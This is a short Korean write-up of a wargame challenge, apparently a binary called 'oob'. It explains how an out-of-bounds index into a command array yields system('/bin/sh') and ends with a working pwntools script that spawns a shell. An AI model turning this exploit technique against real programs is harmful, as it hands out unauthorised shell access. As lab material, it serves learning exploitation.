
Partial RELRO, Canary, NX 적용
name[16]을 입력받고, idx를 입력받는다.
그리고 system(command[idx])를 실행하게 된다.
command와 name의 주소 차이를 확인한다.
0x4c=76→76 ÷ 4 = 19따라서 name은 command[19] 이다.
name에 "/bin/sh"를 넣어서 결과적으로 system("/bin/sh") 가 실행되게 하는 것이다.
그래서 그냥 name에 "/bin/sh"를 입력하고, idx에 19를 입력하면 아무일도 일어나지 않는다..
왜 그런가 싶어서 검색해봤는데,
command가 이중 포인터이기 때문에 (*command[10])
name에는 name+4 주소를 넣고, name+4부터는 문자열 "/bin/sh"를 넣으면 정상적으로 실행된다.
system의 인자로eax×4+0x804a060이 주어진다. (name+4)
e=ELF("./oob") p.recvuntil(b"name: ") p.send(p32(e.symbols['name']+4)+b"/bin/sh") p.recvuntil(b"want?: ") p.send(b"19") p.interactive()